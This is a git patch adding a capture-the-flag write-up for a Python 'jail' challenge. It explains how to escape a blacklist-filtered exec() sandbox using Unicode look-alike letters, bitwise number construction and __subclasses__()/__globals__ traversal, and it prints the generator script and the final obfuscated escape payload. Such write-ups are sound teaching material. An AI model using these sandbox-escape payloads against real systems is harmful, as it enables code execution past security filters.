From 23ca0a452dc7448ce627b88b77f600c0d01d4c3b Mon Sep 17 00:00:00 2001
From: quasar098 <70716985+quasar098@users.noreply.github.com>
Date: Sun, 29 Oct 2023 20:55:05 -0400
Subject: [PATCH] Create README.md

---
 udctf-2023/python-jail-harder/README.md | 90 +++++++++++++++++++++++++
 1 file changed, 90 insertions(+)
 create mode 100644 udctf-2023/python-jail-harder/README.md

diff --git a/udctf-2023/python-jail-harder/README.md b/udctf-2023/python-jail-harder/README.md
new file mode 100644
index 0000000..316a4fb
--- /dev/null
+++ b/udctf-2023/python-jail-harder/README.md
@@ -0,0 +1,90 @@
+# python-jail-harder
+
+## problem
+
+see [./Dockerfile](./Dockerfile)
+
+```py
+#!/usr/bin/env python 
+
+blacklist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+
+security_check = lambda s: any(c in blacklist for c in s) or s.count('_') > 50
+
+def main():
+    while True: 
+        cmds = input("> ")
+        if security_check(cmds):
+            print("nope.")
+        else:
+            exec(cmds, {'__builtins__': None}, {})
+    
+
+if __name__ == "__main__":
+    main()
+```
+
+## solution
+
+compared to the regular python-jail, this one fixes the vulnerability by using `or` instead of `and`
+
+to bypass this, we can use non-ascii character (unicode) because they are not equal to any characters in the blacklist but still execute in `exec` as if they were ascii characters. 
+
+so for example, `ᵖʳᵢⁿᵗ(1+2+3)` would execute the same as `print(1+2+3)` assuming builtins exists. there are different unicode symbols for all of the letters, uppercase and lowercase. 
+the only issue is that the strings will evaluate differently (`"ᵖʳᵢⁿᵗ" != "print"` assuming builtins exists)
+
+therefore, we can use list and dictionary indexes instead (dictionary can be indexed using `[].__class__(dictionary.values())` which returns a list of values in the same order). 
+
+however, there is still the issue of getting numbers because there aren't any unicode symbols that i could find for numbers that work.
+however, this can be done easily by using `[].__len__()` which is 0. keep in mind that `len([])` can't be possible because `len` is part of builtins, and builtins isn't in the global scope.
+
+well, that's only the number 0. to get any other number, we can make use of the `~` operator and bit shifting. to get 1, we can do `-~[].__len__()`. this is equivalent to `-(~(0))`. the `~` operator flips all the bits (including sign bit) which causes 0 to become -1.
+then, using the unary minus operator gets us 1 from 0. then, it is very easy to bit shift and use the or operator to get any desired number. 
+in the payload below, i have `a` as one to reduce the amount of underscores necessary (exec means multiple statements can be used), and this helps bypass the limit of 50 underscores max.
+
+the final payload looked something like this:
+
+```py
+m = {}
+for _ in range(32, 0x200ff):
+    letter = chr(_)
+    try:
+        eval(letter)
+    except NameError as e:
+        m[letter] = str(e).split("'")[1]
+    except SyntaxError:
+        pass
+    except UnicodeEncodeError:
+        pass
+
+blocked = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
+
+m2 = {}
+for k in m:
+    if m[k] in blocked and m[k] != k:
+        if m[k] not in m2:
+            m2[m[k]] = k
+
+m2["m"] = "ᵐ"
+
+payload = """
+a=-~[].__len__()
+b=[].__class__(().__class__.__base__.__subclasses__()[-(a+a+a+a+a)].__init__.__globals__.values())
+b[-(a<<(a+a+a+a+a+a+a+a)|a<<(a+a+a+a+a+a)|a<<(a+a+a+a)|a<<(a+a))](b[a][a<<(a+a+a)|(a+a)]+b[a][-((a<<(a+a+a+a+a))-a-a-a-a-a-a)])
+""".rstrip("\n").lstrip("\n").replace("\n", ";")
+total = ""
+for letter in payload:
+    if letter in blocked:
+        total += m2[letter]
+    else:
+        total += letter
+print(total)
+```
+
+this printed the following payload: 
+```
+ª=-~[].__ˡᵉⁿ__();ᵇ=[].__ᶜˡªſſ__(().__ᶜˡªſſ__.__ᵇªſᵉ__.__ſᵘᵇᶜˡªſſᵉſ__()[-(ª+ª+ª+ª+ª)].__ᵢⁿᵢᵗ__.__ᵍˡºᵇªˡſ__.ᵛªˡᵘᵉſ());ᵇ[-(ª<<(ª+ª+ª+ª+ª+ª+ª+ª)|ª<<(ª+ª+ª+ª+ª+ª)|ª<<(ª+ª+ª+ª)|ª<<(ª+ª))](ᵇ[ª][ª<<(ª+ª+ª)|(ª+ª)]+ᵇ[ª][-((ª<<(ª+ª+ª+ª+ª))-ª-ª-ª-ª-ª-ª)])
+```
+
+what also helped was setting up a docker container with the correct environment but slightly modified to make `"builtins": None` into `"builtins": {"print": print}` which allowed for printing for debugging purposes. 
+also removing the security check temporarily made the process much easier